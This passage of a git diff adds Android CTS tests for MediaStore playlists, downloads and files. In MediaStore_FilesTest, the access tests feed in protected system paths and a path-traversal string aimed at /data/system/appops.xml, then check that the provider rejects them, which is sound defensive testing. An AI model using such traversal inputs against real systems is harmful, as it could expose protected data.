+ verifyPlaylist(membersUri,
+ new long [] {mIdOfAudio1, mIdOfAudio2, mIdOfAudio3}, new int [] {1,2,3});
+
+ // delete the middle item
+ mContentResolver.delete(Media.getContentUri(mVolumeName),
+ Media._ID + "=" + mIdOfAudio2, null);
+
+ // check the remaining items are still in the right order, and the play_order of the
+ // last item has been adjusted
+ verifyPlaylist(membersUri, new long [] {mIdOfAudio1, mIdOfAudio3}, new int [] {1,2});
+
+ // try to swap the remaining two items
+ assertTrue(MediaStore.Audio.Playlists.Members.moveItem(mContentResolver, playlistId, 1, 0));
+
+ // check that they're swapped
+ verifyPlaylist(membersUri, new long [] {mIdOfAudio3, mIdOfAudio1}, new int [] {1,2});
+
+ // add 3 items, do some more moving and checking
+ mIdOfAudio2 = insertAudioItem(Audio2.getInstance());
+ insertPlaylistItem(membersUri, mIdOfAudio2, 3);
+ insertPlaylistItem(membersUri, mIdOfAudio4, 4);
+ insertPlaylistItem(membersUri, mIdOfAudio5, 5);
+ verifyPlaylist(membersUri,
+ new long [] {mIdOfAudio3, mIdOfAudio1, mIdOfAudio2, mIdOfAudio4, mIdOfAudio5},
+ new int[] {1, 2, 3, 4, 5});
+ assertTrue(MediaStore.Audio.Playlists.Members.moveItem(mContentResolver, playlistId, 1, 3));
+ verifyPlaylist(membersUri,
+ new long [] {mIdOfAudio3, mIdOfAudio2, mIdOfAudio4, mIdOfAudio1, mIdOfAudio5},
+ new int[] {1, 2, 3, 4, 5});
+ c = mContentResolver.query(membersUri, null, null, null, null);
+ c.close();
+
+ // create another playlist
+ values.clear();
+ values.put(Playlists.NAME, "My favourites " + System.nanoTime());
+ values.put(Playlists.DATE_ADDED, dateAdded);
+ values.put(Playlists.DATE_MODIFIED, dateModified);
+ // insert
+ uri = mContentResolver.insert(Playlists.getContentUri(mVolumeName), values);
+ assertNotNull(uri);
+ c = mContentResolver.query(uri, null, null, null, null);
+ c.moveToFirst();
+ playlist2Id = c.getLong(c.getColumnIndex(Playlists._ID));
+ c.close();
+
+ // insert audio into 2nd playlist
+ Uri members2Uri = Members.getContentUri(mVolumeName, playlist2Id);
+ Uri audio2Uri = insertPlaylistItem(members2Uri, mIdOfAudio1, 1);
+
+ c = mContentResolver.query(membersUri, null, null, null, null);
+ int allcolscount = c.getCount();
+ c.close();
+ c = mContentResolver.query(membersUri,
+ new String[] { Members.AUDIO_ID, Members.PLAY_ORDER }, null, null, null);
+ int somecolscount = c.getCount();
+ c.close();
+ assertEquals("Different count depending on columns", allcolscount, somecolscount);
+
+ // check that the audio exists in both playlist
+ c = mContentResolver.query(membersUri, null, null, null, null);
+ assertEquals(5, c.getCount());
+ int cnt = 0;
+ int colidx = c.getColumnIndex(Members.AUDIO_ID);
+ assertTrue(colidx >= 0);
+ while(c.moveToNext()) {
+ if (c.getLong(colidx) == mIdOfAudio1) {
+ cnt++;
+ }
+ }
+ assertEquals(1, cnt);
+ c.close();
+ c = mContentResolver.query(members2Uri, null, null, null, null);
+ assertEquals(1, c.getCount());
+ cnt = 0;
+ while(c.moveToNext()) {
+ if (c.getLong(colidx) == mIdOfAudio1) {
+ cnt++;
+ }
+ }
+ assertEquals(1, cnt);
+ c.close();
+
+ // delete the members
+ result = mContentResolver.delete(membersUri, null, null);
+ assertEquals(5, result);
+ result = mContentResolver.delete(members2Uri, null, null);
+ assertEquals(1, result);
+
+ // insert again, then verify that deleting the audio entry cleans up its playlist member
+ // entry as well
+ membersUri = Members.getContentUri(mVolumeName, playlistId);
+ audioUri = insertPlaylistItem(membersUri, mIdOfAudio1, 1);
+ assertNotNull(audioUri);
+ // Query members of the playlist
+ c = mContentResolver.query(membersUri,
+ new String[] { Members.AUDIO_ID, Members.PLAYLIST_ID}, null, null, null);
+ colidx = c.getColumnIndex(Members.AUDIO_ID);
+ cnt = 0;
+ // The song should appear only once, for the playlist we used when inserting it
+ while(c.moveToNext()) {
+ if (c.getLong(colidx) == mIdOfAudio1) {
+ cnt++;
+ assertEquals(playlistId, c.getLong(c.getColumnIndex(Members.PLAYLIST_ID)));
+ }
+ }
+ assertEquals(1, cnt);
+ c.close();
+ mContentResolver.delete(Media.getContentUri(mVolumeName),
+ Media._ID + "=" + mIdOfAudio1, null);
+ // Query members of the playlist
+ c = mContentResolver.query(membersUri,
+ new String[] { Members.AUDIO_ID, Members.PLAYLIST_ID}, null, null, null);
+ colidx = c.getColumnIndex(Members.AUDIO_ID);
+ cnt = 0;
+ // The song should no longer appear in the playlist
+ while(c.moveToNext()) {
+ if (c.getLong(colidx) == mIdOfAudio1) {
+ cnt++;
+ }
+ }
+ assertEquals(0, cnt);
+ c.close();
+
+ } finally {
+ // delete the playlists
+ mContentResolver.delete(Playlists.getContentUri(mVolumeName),
+ Playlists._ID + "=" + playlistId, null);
+ if (playlist2Id >= 0) {
+ mContentResolver.delete(Playlists.getContentUri(mVolumeName),
+ Playlists._ID + "=" + playlist2Id, null);
+ }
+ }
+ }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_DownloadsTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_DownloadsTest.java
new file mode 100644
index 0000000..748e284
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_DownloadsTest.java
@@ -0,0 +1,374 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.media;
+
+import static android.provider.cts.ProviderTestUtils.hash;
+import static android.provider.cts.ProviderTestUtils.resolveVolumeName;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.content.Context;
+import android.database.ContentObserver;
+import android.database.Cursor;
+import android.net.Uri;
+import android.os.Environment;
+import android.os.FileUtils;
+import android.provider.MediaStore;
+import android.provider.MediaStore.Downloads;
+import android.provider.MediaStore.Files;
+import android.provider.MediaStore.Images;
+import android.provider.cts.ProviderTestUtils;
+import android.provider.cts.R;
+import android.provider.cts.media.MediaStoreUtils.PendingParams;
+import android.provider.cts.media.MediaStoreUtils.PendingSession;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Assume;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.io.PrintWriter;
+import java.nio.charset.StandardCharsets;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(Parameterized.class)
+public class MediaStore_DownloadsTest {
+ private static final String TAG = MediaStore_DownloadsTest.class.getSimpleName();
+ private static final long NOTIFY_TIMEOUT_MILLIS = 4000;
+
+ private Context mContext;
+ private ContentResolver mContentResolver;
+ private File mDownloadsDir;
+ private File mPicturesDir;
+ private CountDownLatch mCountDownLatch;
+ private int mInitialDownloadsCount;
+
+ private Uri mExternalImages;
+ private Uri mExternalDownloads;
+
+ @Parameter(0)
+ public String mVolumeName;
+
+ @Parameters
+ public static Iterable<? extends Object> data() {
+ return ProviderTestUtils.getSharedVolumeNames();
+ }
+
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
+ mContentResolver = mContext.getContentResolver();
+
+ Log.d(TAG, "Using volume " + mVolumeName);
+ mExternalImages = MediaStore.Images.Media.getContentUri(mVolumeName);
+ mExternalDownloads = MediaStore.Downloads.getContentUri(mVolumeName);
+
+ mDownloadsDir = new File(ProviderTestUtils.getVolumePath(resolveVolumeName(mVolumeName)),
+ Environment.DIRECTORY_DOWNLOADS);
+ mPicturesDir = new File(ProviderTestUtils.getVolumePath(resolveVolumeName(mVolumeName)),
+ Environment.DIRECTORY_PICTURES);
+ mDownloadsDir.mkdirs();
+ mPicturesDir.mkdirs();
+ mInitialDownloadsCount = getInitialDownloadsCount();
+ }
+
+ @Test
+ public void testScannedDownload() throws Exception {
+ Assume.assumeTrue(MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)
+ || MediaStore.VOLUME_EXTERNAL_PRIMARY.equals(mVolumeName));
+
+ final File downloadFile = new File(mDownloadsDir, "colors.txt");
+ downloadFile.createNewFile();
+ final String fileContents = "RED;GREEN;BLUE";
+ try (final PrintWriter pw = new PrintWriter(downloadFile)) {
+ pw.print(fileContents);
+ }
+ verifyScannedDownload(downloadFile);
+ }
+
+ @Test
+ public void testScannedMediaDownload() throws Exception {
+ Assume.assumeTrue(MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)
+ || MediaStore.VOLUME_EXTERNAL_PRIMARY.equals(mVolumeName));
+
+ final File downloadFile = new File(mDownloadsDir, "scenery.png");
+ downloadFile.createNewFile();
+ try (InputStream in = mContext.getResources().openRawResource(R.raw.scenery);
+ OutputStream out = new FileOutputStream(downloadFile)) {
+ FileUtils.copy(in, out);
+ }
+ verifyScannedDownload(downloadFile);
+ }
+
+ @Test
+ public void testGetContentUri() throws Exception {
+ Cursor c;
+ assertNotNull(c = mContentResolver.query(mExternalDownloads,
+ null, null, null, null));
+ c.close();
+
+ assertEquals(ContentUris.withAppendedId(Downloads.getContentUri(mVolumeName), 42),
+ Downloads.getContentUri(mVolumeName, 42));
+ }
+
+ @Test
+ public void testMediaInDownloadsDir() throws Exception {
+ Assume.assumeTrue(MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)
+ || MediaStore.VOLUME_EXTERNAL_PRIMARY.equals(mVolumeName));
+
+ final String displayName = "cts" + System.nanoTime();
+ final Uri insertUri = insertImage(displayName, "test image",
+ new File(mDownloadsDir, displayName + ".jpg"), "image/jpeg", R.raw.scenery);
+ final String displayName2 = "cts" + System.nanoTime();
+ final Uri insertUri2 = insertImage(displayName2, "test image2",
+ new File(mPicturesDir, displayName2 + ".jpg"), "image/jpeg", R.raw.volantis);
+
+ try (Cursor cursor = mContentResolver.query(mExternalDownloads,
+ null, "title LIKE ?1", new String[] { displayName }, null)) {
+ assertEquals(1, cursor.getCount());
+ cursor.moveToNext();
+ assertEquals("image/jpeg",
+ cursor.getString(cursor.getColumnIndex(Images.Media.MIME_TYPE)));
+ }
+
+ assertEquals(1, mContentResolver.delete(insertUri, null, null));
+ try (Cursor cursor = mContentResolver.query(mExternalDownloads,
+ null, null, null, null)) {
+ assertEquals(mInitialDownloadsCount, cursor.getCount());
+ }
+ }
+
+ @Test
+ public void testInsertDownload() throws Exception {
+ final String content = "<html><body>Content</body></html>";
+ final String displayName = "cts" + System.nanoTime();
+ final String mimeType = "text/html";
+ final Uri downloadUri = Uri.parse("https://developer.android.com/overview.html");
+ final Uri refererUri = Uri.parse("https://www.android.com");
+
+ final PendingParams params = new PendingParams(
+ mExternalDownloads, displayName, mimeType);
+ params.setDownloadUri(downloadUri);
+ params.setRefererUri(refererUri);
+
+ final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
+ assertNotNull(pendingUri);
+ final Uri publishUri;
+ try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
+ try (PrintWriter pw = new PrintWriter(session.openOutputStream())) {
+ pw.print(content);
+ }
+ try (OutputStream out = session.openOutputStream()) {
+ out.write(content.getBytes(StandardCharsets.UTF_8));
+ }
+ publishUri = session.publish();
+ }
+
+ try (Cursor cursor = mContentResolver.query(publishUri, null, null, null, null)) {
+ assertEquals(1, cursor.getCount());
+
+ cursor.moveToNext();
+ assertEquals(mimeType,
+ cursor.getString(cursor.getColumnIndex(Downloads.MIME_TYPE)));
+ assertEquals(displayName + ".html",
+ cursor.getString(cursor.getColumnIndex(Downloads.DISPLAY_NAME)));
+ assertEquals(downloadUri.toString(),
+ cursor.getString(cursor.getColumnIndex(Downloads.DOWNLOAD_URI)));
+ assertEquals(refererUri.toString(),
+ cursor.getString(cursor.getColumnIndex(Downloads.REFERER_URI)));
+ }
+
+ final ByteArrayOutputStream actual = new ByteArrayOutputStream();
+ try (InputStream in = mContentResolver.openInputStream(publishUri)) {
+ final byte[] buf = new byte[512];
+ int bytesRead;
+ while ((bytesRead = in.read(buf)) != -1) {
+ actual.write(buf, 0, bytesRead);
+ }
+ }
+ assertEquals(content, actual.toString(StandardCharsets.UTF_8.name()));
+ }
+
+ @Test
+ public void testUpdateDownload() throws Exception {
+ final String displayName = "cts" + System.nanoTime();
+ final PendingParams params = new PendingParams(
+ mExternalDownloads, displayName, "video/3gpp");
+ final Uri downloadUri = Uri.parse("https://www.android.com/download?file=testvideo.3gp");
+ params.setDownloadUri(downloadUri);
+
+ final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
+ assertNotNull(pendingUri);
+ final Uri publishUri;
+ try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
+ try (InputStream in = mContext.getResources().openRawResource(R.raw.testvideo);
+ OutputStream out = session.openOutputStream()) {
+ android.os.FileUtils.copy(in, out);
+ }
+ publishUri = session.publish();
+ }
+
+ final ContentValues updateValues = new ContentValues();
+ updateValues.put(MediaStore.Files.FileColumns.MEDIA_TYPE,
+ MediaStore.Files.FileColumns.MEDIA_TYPE_AUDIO);
+ updateValues.put(Downloads.MIME_TYPE, "audio/3gpp");
+ assertEquals(1, mContentResolver.update(publishUri, updateValues, null, null));
+
+ try (Cursor cursor = mContentResolver.query(publishUri,
+ null, null, null, null)) {
+ assertEquals(1, cursor.getCount());
+ cursor.moveToNext();
+ assertEquals("audio/3gpp",
+ cursor.getString(cursor.getColumnIndex(Downloads.MIME_TYPE)));
+ assertEquals(downloadUri.toString(),
+ cursor.getString(cursor.getColumnIndex(Downloads.DOWNLOAD_URI)));
+ }
+ }
+
+ @Test
+ public void testDeleteDownload() throws Exception {
+ final String displayName = "cts" + System.nanoTime();
+ final PendingParams params = new PendingParams(
+ mExternalDownloads, displayName, "video/3gp");
+ final Uri downloadUri = Uri.parse("https://www.android.com/download?file=testvideo.3gp");
+ params.setDownloadUri(downloadUri);
+
+ final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
+ assertNotNull(pendingUri);
+ final Uri publishUri;
+ try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
+ try (InputStream in = mContext.getResources().openRawResource(R.raw.testvideo);
+ OutputStream out = session.openOutputStream()) {
+ android.os.FileUtils.copy(in, out);
+ }
+ publishUri = session.publish();
+ }
+
+ assertEquals(1, mContentResolver.delete(publishUri, null, null));
+ try (Cursor cursor = mContentResolver.query(mExternalDownloads,
+ null, null, null, null)) {
+ assertEquals(mInitialDownloadsCount, cursor.getCount());
+ }
+ }
+
+ @Test
+ public void testNotifyChange() throws Exception {
+ final ContentObserver observer = new ContentObserver(null) {
+ @Override
+ public void onChange(boolean selfChange, Uri uri) {
+ super.onChange(selfChange, uri);
+ mCountDownLatch.countDown();
+ }
+ };
+ mContentResolver.registerContentObserver(mExternalDownloads, true, observer);
+ mContentResolver.registerContentObserver(MediaStore.AUTHORITY_URI, false, observer);
+ final Uri volumeUri = MediaStore.AUTHORITY_URI.buildUpon()
+ .appendPath(mVolumeName)
+ .build();
+ mContentResolver.registerContentObserver(volumeUri, false, observer);
+
+ mCountDownLatch = new CountDownLatch(1);
+ final String displayName = "cts" + System.nanoTime();
+ final PendingParams params = new PendingParams(
+ mExternalDownloads, displayName, "video/3gp");
+ final Uri downloadUri = Uri.parse("https://www.android.com/download?file=testvideo.3gp");
+ params.setDownloadUri(downloadUri);
+ final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
+ assertNotNull(pendingUri);
+ final Uri publishUri;
+ try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
+ try (InputStream in = mContext.getResources().openRawResource(R.raw.testvideo);
+ OutputStream out = session.openOutputStream()) {
+ android.os.FileUtils.copy(in, out);
+ }
+ publishUri = session.publish();
+ }
+ mCountDownLatch.await(NOTIFY_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+
+ mCountDownLatch = new CountDownLatch(1);
+ final ContentValues updateValues = new ContentValues();
+ updateValues.put(Files.FileColumns.MEDIA_TYPE, Files.FileColumns.MEDIA_TYPE_AUDIO);
+ updateValues.put(Downloads.MIME_TYPE, "audio/3gp");
+ assertEquals(1, mContentResolver.update(publishUri, updateValues, null, null));
+ mCountDownLatch.await(NOTIFY_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+
+ mCountDownLatch = new CountDownLatch(1);
+ assertEquals(1, mContentResolver.delete(publishUri, null, null));
+ mCountDownLatch.await(NOTIFY_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+ }
+
+ private int getInitialDownloadsCount() {
+ try (Cursor cursor = mContentResolver.query(mExternalDownloads,
+ null, null, null, null)) {
+ return cursor.getCount();
+ }
+ }
+
+ private Uri insertImage(String displayName, String description,
+ File file, String mimeType, int resourceId) throws Exception {
+ file.createNewFile();
+ try (InputStream in = mContext.getResources().openRawResource(resourceId);
+ OutputStream out = new FileOutputStream(file)) {
+ FileUtils.copy(in, out);
+ }
+
+ final ContentValues values = new ContentValues();
+ values.put(Images.Media.DISPLAY_NAME, displayName);
+ values.put(Images.Media.TITLE, displayName);
+ values.put(Images.Media.DESCRIPTION, description);
+ values.put(Images.Media.DATA, file.getAbsolutePath());
+ values.put(Images.Media.DATE_ADDED, System.currentTimeMillis() / 1000);
+ values.put(Images.Media.DATE_MODIFIED, System.currentTimeMillis() / 1000);
+ values.put(Images.Media.MIME_TYPE, mimeType);
+
+ final Uri insertUri = mContentResolver.insert(mExternalImages, values);
+ assertNotNull(insertUri);
+ return insertUri;
+ }
+
+ private void verifyScannedDownload(File file) throws Exception {
+ final Uri mediaStoreUri = ProviderTestUtils.scanFile(file);
+ Log.e(TAG, "Scanned file " + file.getAbsolutePath() + ": " + mediaStoreUri);
+ assertArrayEquals("File hashes should match for " + file + " and " + mediaStoreUri,
+ hash(new FileInputStream(file)),
+ hash(mContentResolver.openInputStream(mediaStoreUri)));
+
+ // Verify the file is part of downloads collection.
+ final long id = ContentUris.parseId(mediaStoreUri);
+ final Cursor cursor = mContentResolver.query(mExternalDownloads,
+ null, MediaStore.Downloads._ID + "=" + id, null, null);
+ assertEquals(1, cursor.getCount());
+ }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_FilesTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_FilesTest.java
new file mode 100644
index 0000000..2b91cc4
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_FilesTest.java
@@ -0,0 +1,347 @@
+/*
+ * Copyright (C) 2012 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.media;
+
+import static android.provider.cts.ProviderTestUtils.containsId;
+import static android.provider.cts.ProviderTestUtils.resolveVolumeName;
+import static android.provider.cts.media.MediaStoreTest.TAG;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.content.Context;
+import android.database.Cursor;
+import android.net.Uri;
+import android.os.Environment;
+import android.os.ParcelFileDescriptor;
+import android.provider.MediaStore;
+import android.provider.MediaStore.Files.FileColumns;
+import android.provider.MediaStore.MediaColumns;
+import android.provider.cts.ProviderTestUtils;
+import android.provider.cts.R;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+import java.io.File;
+import java.io.IOException;
+
+@RunWith(Parameterized.class)
+public class MediaStore_FilesTest {
+ private Context mContext;
+ private ContentResolver mResolver;
+
+ private Uri mExternalImages;
+ private Uri mExternalFiles;
+
+ @Parameter(0)
+ public String mVolumeName;
+
+ @Parameters
+ public static Iterable<? extends Object> data() {
+ return ProviderTestUtils.getSharedVolumeNames();
+ }
+
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
+ mResolver = mContext.getContentResolver();
+
+ Log.d(TAG, "Using volume " + mVolumeName);
+ mExternalImages = MediaStore.Images.Media.getContentUri(mVolumeName);
+ mExternalFiles = MediaStore.Files.getContentUri(mVolumeName);
+ }
+
+ @Test
+ public void testGetContentUri() throws Exception {
+ Uri allFilesUri = mExternalFiles;
+
+ ContentValues values = new ContentValues();
+
+ // Add a path for a file and check that the returned uri appends a
+ // path properly.
+ String dataPath = new File(ProviderTestUtils.stageDir(mVolumeName),
+ "does_not_really_exist.txt").getAbsolutePath();
+ values.put(MediaColumns.DATA, dataPath);
+ Uri fileUri = mResolver.insert(allFilesUri, values);
+ long fileId = ContentUris.parseId(fileUri);
+ assertEquals(fileUri, ContentUris.withAppendedId(allFilesUri, fileId));
+
+ // Check that getContentUri with the file id produces the same url
+ Uri rowUri = ContentUris.withAppendedId(mExternalFiles, fileId);
+ assertEquals(fileUri, rowUri);
+
+ // Check that the file count has increased.
+ assertTrue(containsId(allFilesUri, fileId));
+
+ // Check that the path we inserted was stored properly.
+ assertStringColumn(fileUri, MediaColumns.DATA, dataPath);
+
+ // Update the path and check that the database changed.
+ String updatedPath = new File(ProviderTestUtils.stageDir(mVolumeName),
+ "still_does_not_exist.txt").getAbsolutePath();
+ values.put(MediaColumns.DATA, updatedPath);
+ assertEquals(1, mResolver.update(fileUri, values, null, null));
+ assertStringColumn(fileUri, MediaColumns.DATA, updatedPath);
+
+ // check that inserting a duplicate entry fails
+ Uri foo = mResolver.insert(allFilesUri, values);
+ assertNull(foo);
+
+ // Delete the file and observe that the file count decreased.
+ assertEquals(1, mResolver.delete(fileUri, null, null));
+ assertFalse(containsId(allFilesUri, fileId));
+
+ // Make sure the deleted file is not returned by the cursor.
+ Cursor cursor = mResolver.query(fileUri, null, null, null, null);
+ try {
+ assertFalse(cursor.moveToNext());
+ } finally {
+ cursor.close();
+ }
+
+ // insert file and check its parent
+ values.clear();
+ try {
+ File stageDir = new File(ProviderTestUtils.stageDir(mVolumeName),
+ Environment.DIRECTORY_MUSIC);
+ stageDir.mkdirs();
+ String b = stageDir.getAbsolutePath();
+ values.put(MediaColumns.DATA, b + "/testing" + System.nanoTime());
+ fileUri = mResolver.insert(allFilesUri, values);
+ cursor = mResolver.query(fileUri, new String[] { MediaStore.Files.FileColumns.PARENT },
+ null, null, null);
+ assertEquals(1, cursor.getCount());
+ cursor.moveToFirst();
+ long parentid = cursor.getLong(0);
+ assertTrue("got 0 parent for non root file", parentid != 0);
+
+ cursor.close();
+ cursor = mResolver.query(ContentUris.withAppendedId(allFilesUri, parentid),
+ new String[] { MediaColumns.DATA }, null, null, null);
+ assertEquals(1, cursor.getCount());
+ cursor.moveToFirst();
+ String parentPath = cursor.getString(0);
+ assertEquals(b, parentPath);
+
+ mResolver.delete(fileUri, null, null);
+ } catch (IOException e) {
+ fail(e.getMessage());
+ } finally {
+ cursor.close();
+ }
+
+ assertEquals(ContentUris.withAppendedId(MediaStore.Files.getContentUri(mVolumeName), 42),
+ MediaStore.Files.getContentUri(mVolumeName, 42));
+ }
+
+ @Test
+ public void testCaseSensitivity() throws IOException {
+ final String name = "Test-" + System.nanoTime() + ".Mp3";
+ final File dir = ProviderTestUtils.stageDir(mVolumeName);
+ final File file = new File(dir, name);
+ final File fileLower = new File(dir, name.toLowerCase());
+ ProviderTestUtils.stageFile(R.raw.testmp3, file);
+
+ Uri allFilesUri = mExternalFiles;
+ ContentValues values = new ContentValues();
+ values.put(MediaColumns.DATA, fileLower.getAbsolutePath());
+ Uri fileUri = mResolver.insert(allFilesUri, values);
+ try {
+ ParcelFileDescriptor pfd = mResolver.openFileDescriptor(fileUri, "r");
+ pfd.close();
+ } finally {
+ mResolver.delete(fileUri, null, null);
+ }
+ }
+
+ @Test
+ public void testAccessInternal() throws Exception {
+ final Uri internalFiles = MediaStore.Files.getContentUri(MediaStore.VOLUME_INTERNAL);
+
+ for (String valid : new String[] {
+ "/system/media/" + System.nanoTime() + ".ogg",
+ }) {
+ final ContentValues values = new ContentValues();
+ values.put(MediaColumns.DATA, valid);
+
+ final Uri uri = mResolver.insert(internalFiles, values);
+ assertNotNull(valid, uri);
+ mResolver.delete(uri, null, null);
+ }
+
+ for (String invalid : new String[] {
+ "/data/media/" + System.nanoTime() + ".jpg",
+ "/data/system/appops.xml",
+ "/data/data/com.android.providers.media/databases/internal.db",
+ new File(Environment.getExternalStorageDirectory(), System.nanoTime() + ".jpg")
+ .getAbsolutePath(),
+ }) {
+ final ContentValues values = new ContentValues();
+ values.put(MediaColumns.DATA, invalid);
+ assertNull(invalid, mResolver.insert(internalFiles, values));
+ }
+ }
+
+ @Test
+ public void testAccess() throws Exception {
+ final String path = ProviderTestUtils.getVolumePath(resolveVolumeName(mVolumeName))
+ .getAbsolutePath();
+ final Uri updateUri = ContentUris.withAppendedId(mExternalFiles,
+ ContentUris.parseId(ProviderTestUtils.stageMedia(R.raw.volantis, mExternalImages)));
+
+ for (String valid : new String[] {
+ path + "/" + System.nanoTime() + ".jpg",
+ path + "/DCIM/" + System.nanoTime() + ".jpg",
+ }) {
+ final ContentValues values = new ContentValues();
+ values.put(MediaColumns.DATA, valid);
+
+ final Uri uri = mResolver.insert(mExternalFiles, values);
+ assertNotNull(valid, uri);
+ mResolver.delete(uri, null, null);
+
+ final int count = mResolver.update(updateUri, values, null, null);
+ assertEquals(valid, 1, count);
+ }
+
+ for (String invalid : new String[] {
+ "/data/media/" + System.nanoTime() + ".jpg",
+ "/data/system/appops.xml",
+ "/data/data/com.android.providers.media/databases/internal.db",
+ path + "/../../../../../data/system/appops.xml",
+ }) {
+ final ContentValues values = new ContentValues();
+ values.put(MediaColumns.DATA, invalid);
+
+ try {
+ assertNull(invalid, mResolver.insert(mExternalFiles, values));
+ } catch (SecurityException tolerated) {
+ }
+
+ try {
+ assertEquals(invalid, 0, mResolver.update(updateUri, values, null, null));
+ } catch (SecurityException tolerated) {
+ }
+ }
+ }
+
+ @Test
+ public void testUpdateMediaType() throws Exception {
+ final File file = new File(ProviderTestUtils.stageDir(mVolumeName),
+ "test" + System.nanoTime() + ".mp3");
+ ProviderTestUtils.stageFile(R.raw.testmp3, file);
+
+ Uri allFilesUri = mExternalFiles;
+ ContentValues values = new ContentValues();
+ values.put(MediaColumns.DATA, file.getAbsolutePath());
+ values.put(FileColumns.MEDIA_TYPE, FileColumns.MEDIA_TYPE_AUDIO);
+ Uri fileUri = mResolver.insert(allFilesUri, values);
+
+ // There is special logic in MediaProvider#update() to update paths when a folder was moved
+ // or renamed. It only checks whether newValues only has one column but assumes the provided
+ // column is _data. We need to guard the case where there is only one column in newValues
+ // and it's not _data.
+ ContentValues newValues = new ContentValues(1);
+ newValues.put(FileColumns.MEDIA_TYPE, FileColumns.MEDIA_TYPE_NONE);
+ mResolver.update(fileUri, newValues, null, null);
+
+ try (Cursor c = mResolver.query(
+ fileUri, new String[] { FileColumns.MEDIA_TYPE }, null, null, null)) {
+ c.moveToNext();
+ assertEquals(FileColumns.MEDIA_TYPE_NONE,
+ c.getInt(c.getColumnIndex(FileColumns.MEDIA_TYPE)));
+ }
+ }
+
+ @Test
+ public void testDateAddedFrozen() throws Exception {
+ final long startTime = (System.currentTimeMillis() / 1000);
+ final File file = new File(ProviderTestUtils.stageDir(mVolumeName),
+ "test" + System.nanoTime() + ".mp3");
+ ProviderTestUtils.stageFile(R.raw.testmp3, file);
+
+ final ContentValues values = new ContentValues();
+ values.put(MediaColumns.DATA, file.getAbsolutePath());
+ values.put(MediaColumns.DATE_ADDED, 32);
+ final Uri uri = mResolver.insert(mExternalFiles, values);
+
+ assertTrue(queryLong(uri, MediaColumns.DATE_ADDED) >= startTime);
+
+ values.clear();
+ values.put(MediaColumns.DATE_ADDED, 64);
+ mResolver.update(uri, values, null, null);
+
+ assertTrue(queryLong(uri, MediaColumns.DATE_ADDED) >= startTime);
+ }
+
+ @Test
+ public void testInPlaceUpdate_mediaFileWithInvalidRelativePath() throws Exception {
+ final File file = new File(ProviderTestUtils.stageDownloadDir(mVolumeName),
+ "test" + System.nanoTime() + ".jpg");
+ ProviderTestUtils.stageFile(R.raw.scenery, file);
+ Log.d(TAG, "Staged image file at " + file.getAbsolutePath());
+
+ final ContentValues insertValues = new ContentValues();
+ insertValues.put(MediaColumns.DATA, file.getAbsolutePath());
+ insertValues.put(MediaStore.Images.ImageColumns.DESCRIPTION, "Not a cat photo");
+ final Uri uri = mResolver.insert(mExternalImages, insertValues);
+ assertEquals(0, queryLong(uri, MediaStore.Images.ImageColumns.IS_PRIVATE));
